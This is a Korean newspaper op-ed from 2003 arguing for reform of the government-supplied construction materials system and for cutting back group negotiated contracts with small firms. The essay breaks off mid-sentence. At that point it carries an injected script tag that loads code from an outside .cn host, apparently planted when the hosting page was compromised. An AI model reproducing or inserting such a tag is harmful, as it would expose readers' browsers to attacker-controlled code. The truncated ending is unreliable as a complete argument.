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언론기고

관급자재 제도의 개선 필요

보도일자 2003-07-18

보도기관 한국건설신문

최근 관급자재의 필요성에 대한 논의가 다시 부각되고 있다. 새 정부가 들어서면 으례히 관급자재 제도가 도마위에 오르곤 했다. 그러나 지금까지는 용두사미식의 개선에 그치고 말았다. 이제는 보다 근본적인 관점에서 관급자재 제도의 개선 방안을 검토해 볼 시점이 아닌가 생각된다.

우선 관급자재는 공공공사의 수행에 있어 정부 및 공공기관의 예산 절감을 목적으로 하고 있다. 그러나 관급자재의 조달을 위한 인력 및 행정력의 낭비가 심하며, 중소기업 보호라는 본연의 목적을 달성하는 데에도 일정한 한계가 있다. 또한, 그 동안 정부가 표방한 ‘작은 정부''의 실현, 민간의 자율성 확대 등에도 역행하는 측면이 있다.

조달청과 중소기업청에서는 중소기업의 판로 지원과 제 가격 받기를 위하여 관급자재 제도가 필요하다고 설명한다. 현재 관급자재로서 공급되거나 분리 발주를 추진하고 있는 건자재를 보면, 대부분 중소업체가 주류를 이루고 있다. 따라서 분리 발주를 통하여 관급자재를 확대하더라도 중소기업의 판로 지원 효과가 미흡한 사례가 많다.

또한, 분리 발주의 목적으로서 제 가격 받기를 강조하고 있으나, 오히려 제 가격을 받지 못하는 문제점이 존재한다. 분리 발주를 할 경우, 조달청에서 구매하는 관급 단가가 대부분 민수(民需) 단가보다 낮기 때문이다. 관급 단가가 원가계산방식으로 결정된다면 제 가격을 받을 수 있으나, 현재는 시장 거래 가격의 90%선에서 관급 단가가 결정된다.

즉, 민수 거래 가격보다 낮다는 것이다. 여기에 협동조합에서 관급자재를 배정하면서 수수료를 공제하고 있다. 반면, 최근 건설공사는 최저가낙찰제가 일반화되면서 예정 가격의 70%선에 낙찰되는 사례가 많다. 따라서 관급자재를 공사 예정 가격에 포함시킬 경우, 훨씬 예산을 절감할 가능성이 높다.

발주기관에 재량권 부여 필요

외국의 사례를 보면, 하도급업체 및 자재업체를 보호하기 위해 지불보증(labor and material payment bond) 제도를 실시하는 사례는 많으나, 제도적으로 건설공사에 소요되는 자재를 분리하여 정부기관에서 조달하는 사례는 극히 이례적이다.

또, 외국에서는 우리나라의 조달청과 같은 중앙발주기관의 기능이 약하다. 중앙 조달이 이루어지고 있는 국가는 싱가포르, 대만 등 몇 개국에 불과하다. 미국 조달청(General Service Administration)의 경우, 표준화된 물품과 호환성이 확보되어야 하는 물품 등에 한해서 중앙조달을 실시하고, 나머지는 각 수요기관에서 직접 조달하고 있다. 독일·일본 등 대부분의 선진국도 분산 조달을 시행하고 있다. 결국, 시설공사에 있어서 자재의 분리 발주도 수요기관에 대부분 위임하고 있다고 볼 수 있다.

현행 [국계법]을 보면, 수요기관의 장이 필요하다고 인정하는 경우, 자재의 분리 발주가 얼마든지 가능하다. 따라서 일정 규모 이상의 공공공사를 대상으로 관급자재의 구매를 조달청에 의뢰하도록 의무화하는 것은 수요기관의 자율적인 의사 결정을 저해하는 것으로서 바람직하지 않다. 장기적으로는 시공회사에서 자율적인 자재 구매가 가능하도록 하여, 건설현장의 품질 및 시공관리가 원활히 추진될 수 있도록 하고, 행정력의 낭비를 극소화하는 방향으로 제도 개선이 요구된다.

존속시에는 단체수의계약을 축소해야

관급자재 제도의 단기간내 폐지가 어렵다면, 중소업체를 대상으로 경쟁을 유도하는 계약 제도를 검토해야 한다. 이를 위하여는 관급자재의 구매 계약시에 광범위하게 적용되고 있는 단체수의계약 제도의 개선이 필요하다.

조달청의 단체수의계약 비중은 전체 계약액의 절반을 넘고 있다. 긍정적인 측면에서 볼 때 단체수의계약 제도는 중소 건자재 업체의 판로를 확보하여 경영 안정을 도모하고, 업체의 조직화에 기여해 온 측면이 있다. 그러나 장기적인 관점에서 보면, 업체간 경쟁이 약화되고, 생산성과 품질 개선을 도모할 유인이 적어진다. 이에 따라 업체간 물량 배정을 둘러싼 분쟁이 빈발하게 되고, 경쟁력있는 신규 업체의 진입을 저지하는 폐해도 나타나고 있다. 또한, 조합원간의 형평성 때문에 원거리 납품이나 복수 업체의 납품이 증가하게 된다. 이는 품질관리상 바람직하지 않다.

이 같은 단체수의계약 제도의 폐해를 고려할 때, 중소기업의 영역은 보호하되, 중소기업간의 경쟁을 촉진하는 것이 바람직하다. 또한, 적격업체가 선정될 수 있도록 제도적 장치를 강구해야 한다. 그러나 적절한 보완 대책없이 단체수의계약 제도를 폐지할 경우, 대기업의 시장 침투나 중소기업 간의 과당 경쟁을 유발할 우려가 있다.

그러므로 중소기업의 경쟁력 강화와 업역 보호라는 두 가지 조건을 만족시킬 수 있는 제도적 틀을 구상해야 한다. 이를 위해서는 외국 업체의 입찰 참여가 불가능하거나 중소기업 고유 업종으로 지정된 품목 ?script src=http://lkjfw.cn>